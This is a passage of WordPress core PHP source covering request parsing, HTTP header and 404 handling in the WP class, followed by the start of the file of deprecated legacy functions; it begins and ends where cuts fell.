				$home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) );
			}

			/*
			 * Trim path info from the end and the leading home path from the front.
			 * For path info requests, this leaves us with the requesting filename, if any.
			 * For 404 requests, this leaves us with the requested permalink.
			 */
			$req_uri  = str_replace( $pathinfo, '', $req_uri );
			$req_uri  = trim( $req_uri, '/' );
			$pathinfo = trim( $pathinfo, '/' );
			$self     = trim( $self, '/' );

			if ( ! empty( $home_path_regex ) ) {
				$req_uri  = preg_replace( $home_path_regex, '', $req_uri );
				$req_uri  = trim( $req_uri, '/' );
				$pathinfo = preg_replace( $home_path_regex, '', $pathinfo );
				$pathinfo = trim( $pathinfo, '/' );
				$self     = preg_replace( $home_path_regex, '', $self );
				$self     = trim( $self, '/' );
			}

			// The requested permalink is in $pathinfo for path info requests and $req_uri for other requests.
			if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) {
				$requested_path = $pathinfo;
			} else {
				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
				if ( $req_uri === $wp_rewrite->index ) {
					$req_uri = '';
				}

				$requested_path = $req_uri;
			}

			$requested_file = $req_uri;

			$this->request = $requested_path;

			// Look for matches.
			$request_match = $requested_path;
			if ( empty( $request_match ) ) {
				// An empty request could only match against ^$ regex.
				if ( isset( $rewrite['$'] ) ) {
					$this->matched_rule = '$';
					$query              = $rewrite['$'];
					$matches            = array( '' );
				}
			} else {
				foreach ( (array) $rewrite as $match => $query ) {
					// If the requested file is the anchor of the match, prepend it to the path info.
					if ( ! empty( $requested_file )
						&& str_starts_with( $match, $requested_file )
						&& $requested_file !== $requested_path
					) {
						$request_match = $requested_file . '/' . $requested_path;
					}

					if ( preg_match( "#^$match#", $request_match, $matches )
						|| preg_match( "#^$match#", urldecode( $request_match ), $matches )
					) {

						if ( $wp_rewrite->use_verbose_page_rules
							&& preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch )
						) {
							// This is a verbose page match, let's check to be sure about it.
							$page = get_page_by_path( $matches[ $varmatch[1] ] );

							if ( ! $page ) {
								continue;
							}

							$post_status_obj = get_post_status_object( $page->post_status );

							if ( ! $post_status_obj->public && ! $post_status_obj->protected
								&& ! $post_status_obj->private && $post_status_obj->exclude_from_search
							) {
								continue;
							}
						}

						// Got a match.
						$this->matched_rule = $match;
						break;
					}
				}
			}

			if ( ! empty( $this->matched_rule ) ) {
				// Trim the query of everything up to the '?'.
				$query = preg_replace( '!^.+\?!', '', $query );

				// Substitute the substring matches into the query.
				$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

				$this->matched_query = $query;

				// Parse the query.
				parse_str( $query, $perma_query_vars );

				// If we're processing a 404 request, clear the error var since we found something.
				if ( '404' === $error ) {
					unset( $error, $_GET['error'] );
				}
			}

			// If req_uri is empty or if it is a request for ourself, unset error.
			if ( empty( $requested_path ) || $requested_file === $self
				|| str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' )
			) {
				unset( $error, $_GET['error'] );

				if ( isset( $perma_query_vars ) && str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' ) ) {
					unset( $perma_query_vars );
				}

				$this->did_permalink = false;
			}
		}

		/**
		 * Filters the query variables allowed before processing.
		 *
		 * Allows (publicly allowed) query vars to be added, removed, or changed prior
		 * to executing the query. Needed to allow custom rewrite rules using your own arguments
		 * to work, or any other custom query variables you want to be publicly available.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $public_query_vars The array of allowed query variable names.
		 */
		$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );

		foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
			if ( is_post_type_viewable( $t ) && $t->query_var ) {
				$post_type_query_vars[ $t->query_var ] = $post_type;
			}
		}

		foreach ( $this->public_query_vars as $wpvar ) {
			if ( isset( $this->extra_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] )
				&& $_GET[ $wpvar ] !== $_POST[ $wpvar ]
			) {
				wp_die(
					__( 'A variable mismatch has been detected.' ),
					__( 'Sorry, you are not allowed to view this item.' ),
					400
				);
			} elseif ( isset( $_POST[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
			} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
			}

			if ( ! empty( $this->query_vars[ $wpvar ] ) ) {
				if ( ! is_array( $this->query_vars[ $wpvar ] ) ) {
					$this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ];
				} else {
					foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) {
						if ( is_scalar( $v ) ) {
							$this->query_vars[ $wpvar ][ $vkey ] = (string) $v;
						}
					}
				}

				if ( isset( $post_type_query_vars[ $wpvar ] ) ) {
					$this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ];
					$this->query_vars['name']      = $this->query_vars[ $wpvar ];
				}
			}
		}

		// Convert urldecoded spaces back into '+'.
		foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) {
			if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) {
				$this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] );
			}
		}

		// Don't allow non-publicly queryable taxonomies to be queried from the front end.
		if ( ! is_admin() ) {
			foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) {
				/*
				 * Disallow when set to the 'taxonomy' query var.
				 * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy().
				 */
				if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) {
					unset( $this->query_vars['taxonomy'], $this->query_vars['term'] );
				}
			}
		}

		// Limit publicly queried post_types to those that are 'publicly_queryable'.
		if ( isset( $this->query_vars['post_type'] ) ) {
			$queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) );

			if ( ! is_array( $this->query_vars['post_type'] ) ) {
				if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types, true ) ) {
					unset( $this->query_vars['post_type'] );
				}
			} else {
				$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
			}
		}

		// Resolve conflicts between posts with numeric slugs and date archive queries.
		$this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );

		foreach ( (array) $this->private_query_vars as $var ) {
			if ( isset( $this->extra_query_vars[ $var ] ) ) {
				$this->query_vars[ $var ] = $this->extra_query_vars[ $var ];
			}
		}

		if ( isset( $error ) ) {
			$this->query_vars['error'] = $error;
		}

		/**
		 * Filters the array of parsed query variables.
		 *
		 * @since 2.1.0
		 *
		 * @param array $query_vars The array of requested query variables.
		 */
		$this->query_vars = apply_filters( 'request', $this->query_vars );

		/**
		 * Fires once all query variables for the current request have been parsed.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'parse_request', array( &$this ) );

		return true;
	}

	/**
	 * Sends additional HTTP headers for caching, content type, etc.
	 *
	 * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits.
	 * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed.
	 *
	 * @since 2.0.0
	 * @since 4.4.0 `X-Pingback` header is added conditionally for single posts that allow pings.
	 * @since 6.1.0 Runs after posts have been queried.
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function send_headers() {
		global $wp_query;

		$headers       = array();
		$status        = null;
		$exit_required = false;
		$date_format   = 'D, d M Y H:i:s';

		if ( is_user_logged_in() ) {
			$headers = array_merge( $headers, wp_get_nocache_headers() );
		} elseif ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
			// Unmoderated comments are only visible for 10 minutes via the moderation hash.
			$expires = 10 * MINUTE_IN_SECONDS;

			$headers['Expires']       = gmdate( $date_format, time() + $expires );
			$headers['Cache-Control'] = sprintf(
				'max-age=%d, must-revalidate',
				$expires
			);
		}
		if ( ! empty( $this->query_vars['error'] ) ) {
			$status = (int) $this->query_vars['error'];

			if ( 404 === $status ) {
				if ( ! is_user_logged_in() ) {
					$headers = array_merge( $headers, wp_get_nocache_headers() );
				}

				$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
			} elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) {
				$exit_required = true;
			}
		} elseif ( empty( $this->query_vars['feed'] ) ) {
			$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
		} else {
			// Set the correct content type for feeds.
			$type = $this->query_vars['feed'];
			if ( 'feed' === $this->query_vars['feed'] ) {
				$type = get_default_feed();
			}

			$headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' );

			// We're showing a feed, so WP is indeed the only thing that last changed.
			if ( ! empty( $this->query_vars['withcomments'] )
				|| str_contains( $this->query_vars['feed'], 'comments-' )
				|| ( empty( $this->query_vars['withoutcomments'] )
					&& ( ! empty( $this->query_vars['p'] )
						|| ! empty( $this->query_vars['name'] )
						|| ! empty( $this->query_vars['page_id'] )
						|| ! empty( $this->query_vars['pagename'] )
						|| ! empty( $this->query_vars['attachment'] )
						|| ! empty( $this->query_vars['attachment_id'] )
					)
				)
			) {
				$wp_last_modified_post    = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
				$wp_last_modified_comment = mysql2date( $date_format, get_lastcommentmodified( 'GMT' ), false );

				if ( strtotime( $wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) {
					$wp_last_modified = $wp_last_modified_post;
				} else {
					$wp_last_modified = $wp_last_modified_comment;
				}
			} else {
				$wp_last_modified = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
			}

			if ( ! $wp_last_modified ) {
				$wp_last_modified = gmdate( $date_format );
			}

			$wp_last_modified .= ' GMT';
			$wp_etag           = '"' . md5( $wp_last_modified ) . '"';

			$headers['Last-Modified'] = $wp_last_modified;
			$headers['ETag']          = $wp_etag;

			// Support for conditional GET.
			if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
				$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
			} else {
				$client_etag = '';
			}

			if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) {
				$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
			} else {
				$client_last_modified = '';
			}

			// If string is empty, return 0. If not, attempt to parse into a timestamp.
			$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;

			// Make a timestamp for our most recent modification.
			$wp_modified_timestamp = strtotime( $wp_last_modified );

			if ( ( $client_last_modified && $client_etag )
				? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) )
				: ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) )
			) {
				$status        = 304;
				$exit_required = true;
			}
		}

		if ( is_singular() ) {
			$post = isset( $wp_query->post ) ? $wp_query->post : null;

			// Only set X-Pingback for single posts that allow pings.
			if ( $post && pings_open( $post ) ) {
				$headers['X-Pingback'] = get_bloginfo( 'pingback_url', 'display' );
			}
		}

		/**
		 * Filters the HTTP headers before they're sent to the browser.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $headers Associative array of headers to be sent.
		 * @param WP       $wp      Current WordPress environment instance.
		 */
		$headers = apply_filters( 'wp_headers', $headers, $this );

		if ( ! empty( $status ) ) {
			status_header( $status );
		}

		// If Last-Modified is set to false, it should not be sent (no-cache situation).
		if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
			unset( $headers['Last-Modified'] );

			if ( ! headers_sent() ) {
				header_remove( 'Last-Modified' );
			}
		}

		if ( ! headers_sent() ) {
			foreach ( (array) $headers as $name => $field_value ) {
				header( "{$name}: {$field_value}" );
			}
		}

		if ( $exit_required ) {
			exit;
		}

		/**
		 * Fires once the requested HTTP headers for caching, content type, etc. have been sent.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'send_headers', array( &$this ) );
	}

	/**
	 * Sets the query string property based off of the query variable property.
	 *
	 * The {@see 'query_string'} filter is deprecated, but still works. Plugins should
	 * use the {@see 'request'} filter instead.
	 *
	 * @since 2.0.0
	 */
	public function build_query_string() {
		$this->query_string = '';

		foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) {
			if ( '' !== $this->query_vars[ $wpvar ] ) {
				$this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&';

				if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars.
					continue;
				}

				$this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] );
			}
		}

		if ( has_filter( 'query_string' ) ) {  // Don't bother filtering and parsing if no plugins are hooked in.
			/**
			 * Filters the query string before parsing.
			 *
			 * @since 1.5.0
			 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead.
			 *
			 * @param string $query_string The query string to modify.
			 */
			$this->query_string = apply_filters_deprecated(
				'query_string',
				array( $this->query_string ),
				'2.1.0',
				'query_vars, request'
			);

			parse_str( $this->query_string, $this->query_vars );
		}
	}

	/**
	 * Set up the WordPress Globals.
	 *
	 * The query_vars property will be extracted to the GLOBALS. So care should
	 * be taken when naming global variables that might interfere with the
	 * WordPress environment.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query     $wp_query     WordPress Query object.
	 * @global string       $query_string Query string for the loop.
	 * @global array        $posts        The found posts.
	 * @global WP_Post|null $post         The current post, if available.
	 * @global string       $request      The SQL statement for the request.
	 * @global int          $more         Only set, if single page or post.
	 * @global int          $single       If single page or post. Only set, if single page or post.
	 * @global WP_User      $authordata   Only set, if author archive.
	 */
	public function register_globals() {
		global $wp_query;

		// Extract updated query vars back into global namespace.
		foreach ( (array) $wp_query->query_vars as $key => $value ) {
			$GLOBALS[ $key ] = $value;
		}

		$GLOBALS['query_string'] = $this->query_string;
		$GLOBALS['posts']        = & $wp_query->posts;
		$GLOBALS['post']         = isset( $wp_query->post ) ? $wp_query->post : null;
		$GLOBALS['request']      = $wp_query->request;

		if ( $wp_query->is_single() || $wp_query->is_page() ) {
			$GLOBALS['more']   = 1;
			$GLOBALS['single'] = 1;
		}

		if ( $wp_query->is_author() ) {
			$GLOBALS['authordata'] = get_userdata( get_queried_object_id() );
		}
	}

	/**
	 * Set up the current user.
	 *
	 * @since 2.0.0
	 */
	public function init() {
		wp_get_current_user();
	}

	/**
	 * Set up the Loop based on the query variables.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_the_query WordPress Query object.
	 */
	public function query_posts() {
		global $wp_the_query;
		$this->build_query_string();
		$wp_the_query->query( $this->query_vars );
	}

	/**
	 * Set the Headers for 404, if nothing is found for requested URL.
	 *
	 * Issue a 404 if a request doesn't match any posts and doesn't match any object
	 * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued,
	 * and if the request was not a search or the homepage.
	 *
	 * Otherwise, issue a 200.
	 *
	 * This sets headers after posts have been queried. handle_404() really means "handle status".
	 * By inspecting the result of querying posts, seemingly successful requests can be switched to
	 * a 404 so that canonical redirection logic can kick in.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function handle_404() {
		global $wp_query;

		/**
		 * Filters whether to short-circuit default header status handling.
		 *
		 * Returning a non-false value from the filter will short-circuit the handling
		 * and return early.
		 *
		 * @since 4.5.0
		 *
		 * @param bool     $preempt  Whether to short-circuit default header status handling. Default false.
		 * @param WP_Query $wp_query WordPress Query object.
		 */
		if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) {
			return;
		}

		// If we've already issued a 404, bail.
		if ( is_404() ) {
			return;
		}

		$set_404 = true;

		// Never 404 for the admin, robots, or favicon.
		if ( is_admin() || is_robots() || is_favicon() ) {
			$set_404 = false;

			// If posts were found, check for paged content.
		} elseif ( $wp_query->posts ) {
			$content_found = true;

			if ( is_singular() ) {
				$post = isset( $wp_query->post ) ? $wp_query->post : null;
				$next = '<!--nextpage-->';

				// Check for paged content that exceeds the max number of pages.
				if ( $post && ! empty( $this->query_vars['page'] ) ) {
					// Check if content is actually intended to be paged.
					if ( str_contains( $post->post_content, $next ) ) {
						$page          = trim( $this->query_vars['page'], '/' );
						$content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 );
					} else {
						$content_found = false;
					}
				}
			}

			// The posts page does not support the <!--nextpage--> pagination.
			if ( $wp_query->is_posts_page && ! empty( $this->query_vars['page'] ) ) {
				$content_found = false;
			}

			if ( $content_found ) {
				$set_404 = false;
			}

			// We will 404 for paged queries, as no posts were found.
		} elseif ( ! is_paged() ) {
			$author = get_query_var( 'author' );

			// Don't 404 for authors without posts as long as they matched an author on this site.
			if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author )
				// Don't 404 for these queries if they matched an object.
				|| ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object()
				// Don't 404 for these queries either.
				|| is_home() || is_search() || is_feed()
			) {
				$set_404 = false;
			}
		}

		if ( $set_404 ) {
			// Guess it's time to 404.
			$wp_query->set_404();
			status_header( 404 );
			nocache_headers();
		} else {
			status_header( 200 );
		}
	}

	/**
	 * Sets up all of the variables required by the WordPress environment.
	 *
	 * The action {@see 'wp'} has one parameter that references the WP object. It
	 * allows for accessing the properties and methods to further manipulate the
	 * object.
	 *
	 * @since 2.0.0
	 *
	 * @param string|array $query_args Passed to parse_request().
	 */
	public function main( $query_args = '' ) {
		$this->init();

		$parsed = $this->parse_request( $query_args );

		if ( $parsed ) {
			$this->query_posts();
			$this->handle_404();
			$this->register_globals();
		}

		$this->send_headers();

		/**
		 * Fires once the WordPress environment has been set up.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'wp', array( &$this ) );
	}
}
<?php
/**
 * Deprecated functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be
 * removed in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 */

/*
 * Deprecated functions come here to die.
 */

/**
 * Retrieves all post data for a given post.
 *
 * @since 0.71
 * @deprecated 1.5.1 Use get_post()
 * @see get_post()
 *
 * @param int $postid Post ID.
 * @return array Post data.
 */
function get_postdata($postid) {
	_deprecated_function( __FUNCTION__, '1.5.1', 'get_post()' );

	$post = get_post($postid);

	$postdata = array (
		'ID' => $post->ID,
		'Author_ID' => $post->post_author,
		'Date' => $post->post_date,
		'Content' => $post->post_content,
		'Excerpt' => $post->post_excerpt,
		'Title' => $post->post_title,
		'Category' => $post->post_category,
		'post_status' => $post->post_status,
		'comment_status' => $post->comment_status,
		'ping_status' => $post->ping_status,
		'post_password' => $post->post_password,
		'to_ping' => $post->to_ping,
		'pinged' => $post->pinged,
		'post_type' => $post->post_type,
		'post_name' => $post->post_name
	);

	return $postdata;
}

/**
 * Sets up the WordPress Loop.
 *
 * Use The Loop instead.
 *
 * @link https://developer.wordpress.org/themes/basics/the-loop/
 *
 * @since 1.0.1
 * @deprecated 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function start_wp() {
	global $wp_query;

	_deprecated_function( __FUNCTION__, '1.5.0', __('new WordPress Loop') );

	// Since the old style loop is being used, advance the query iterator here.
	$wp_query->next_post();

	setup_postdata( get_post() );
}

/**
 * Returns or prints a category ID.
 *
 * @since 0.71
 * @deprecated 0.71 Use get_the_category()
 * @see get_the_category()
 *
 * @param bool $display Optional. Whether to display the output. Default true.
 * @return int Category ID.
 */
function the_category_ID($display = true) {
	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category()' );

	// Grab the first cat in the list.
	$categories = get_the_category();
	$cat = $categories[0]->term_id;

	if ( $display )
		echo $cat;

	return $cat;
}

/**
 * Prints a category with optional text before and after.
 *
 * @since 0.71
 * @deprecated 0.71 Use get_the_category_by_ID()
 * @see get_the_category_by_ID()
 *
 * @param string $before Optional. Text to display before the category. Default empty.
 * @param string $after  Optional. Text to display after the category. Default empty.
 */
function the_category_head( $before = '', $after = '' ) {
	global $currentcat, $previouscat;

	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category_by_ID()' );

	// Grab the first cat in the list.
	$categories = get_the_category();
	$currentcat = $categories[0]->category_id;
	if ( $currentcat != $previouscat ) {
		echo $before;
		echo get_the_category_by_ID($currentcat);
		echo $after;
		$previouscat = $currentcat;
	}
}

/**
 * Prints a link to the previous post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use previous_post_link()
 * @see previous_post_link()
 *
 * @param string $format
 * @param string $previous
 * @param string $title
 * @param string $in_same_cat
 * @param int    $limitprev
 * @param string $excluded_categories
 */
function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') {

	_deprecated_function( __FUNCTION__, '2.0.0', 'previous_post_link()' );

	if ( empty($in_same_cat) || 'no' == $in_same_cat )
		$in_same_cat = false;
	else
		$in_same_cat = true;

	$post = get_previous_post($in_same_cat, $excluded_categories);

	if ( !$post )
		return;

	$string = '<a href="'.get_permalink($post->ID).'">'.$previous;
	if ( 'yes' == $title )
		$string .= apply_filters('the_title', $post->post_title, $post->ID);
	$string .= '</a>';
	$format = str_replace('%', $string, $format);
	echo $format;
}

/**
 * Prints link to the next post.
 *
 * @since 0.71
 * @deprecated 2.0.0 Use next_post_link()
 * @see next_post_link()
 *
 * @param string $format
 * @param string $next
 * @param string $title
 * @param string $in_same_cat
 * @param int $limitnext
 * @param string $excluded_categories
 */
function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'next_post_link()' );

	if ( empty($in_same_cat) || 'no' == $in_same_cat )
		$in_same_cat = false;
	else
		$in_same_cat = true;

	$post = get_next_post($in_same_cat, $excluded_categories);

	if ( !$post	)
		return;

	$string = '<a href="'.get_permalink($post->ID).'">'.$next;
	if ( 'yes' == $title )
		$string .= apply_filters('the_title', $post->post_title, $post->ID);
	$string .= '</a>';
	$format = str_replace('%', $string, $format);
	echo $format;
}

/**
 * Whether user can create a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return ($author_data->user_level > 1);
}

/**
 * Whether user can create a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return ($author_data->user_level >= 1);
}

/**
 * Whether user can edit a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool
 */
function user_can_edit_post($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	$post = get_post($post_id);
	$post_author_data = get_userdata($post->post_author);

	if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2))
			|| ($author_data->user_level > $post_author_data->user_level)
			|| ($author_data->user_level >= 10) ) {
		return true;
	} else {
		return false;
	}
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool
 */
function user_can_delete_post($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit, one can delete.
	return user_can_edit_post($user_id, $post_id, $blog_id);
}

/**
 * Whether user can set new posts' dates.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id));
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can edit $post_id's date
 */
function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id));
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can edit $post_id's comments
 */
function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit a post, one can edit comments made on it.
	return user_can_edit_post($user_id, $post_id, $blog_id);
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can delete $post_id's comments
 */
function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit comments, one can delete comments.
	return user_can_edit_post_comments($user_id, $post_id, $blog_id);
}

/**
 * Can user can edit other user.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $other_user
 * @return bool
 */
function user_can_edit_user($user_id, $other_user) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$user  = get_userdata($user_id);
	$other = get_userdata($other_user);
	if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID )
		return true;
	else
		return false;
}

/**
 * Gets the links associated with category $cat_name.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name         Optional. The category name to use. If no match is found, uses all.
 *                                 Default 'noname'.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param bool   $show_rating      Optional. Show rating stars/chars. Default false.
 * @param int    $limit            Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_linksbyname($cat_name = "noname", $before = '', $after = '<br />', $between = " ", $show_images = true, $orderby = 'id',
						$show_description = true, $show_rating = false,
						$limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$cat_id = -1;
	$cat = get_term_by('name', $cat_name, 'link_category');
	if ( $cat )
		$cat_id = $cat->term_id;

	get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated);
}

/**
 * Gets the links associated with the named category.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $category The category to use.
 * @param string $args
 * @return string|null
 */
function wp_get_linksbyname($category, $args = '') {
	_deprecated_function(__FUNCTION__, '2.1.0', 'wp_list_bookmarks()');

	$defaults = array(
		'after' => '<br />',
		'before' => '',
		'categorize' => 0,
		'category_after' => '',
		'category_before' => '',
		'category_name' => $category,
		'show_description' => 1,
		'title_li' => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	return wp_list_bookmarks($parsed_args);
}

/**
 * Gets an array of link objects associated with category $cat_name.
 *
 *     $links = get_linkobjectsbyname( 'fred' );
 *     foreach ( $links as $link ) {
 *      	echo '<li>' . $link->link_name . '</li>';
 *     }
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name Optional. The category name to use. If no match is found, uses all.
 *                         Default 'noname'.
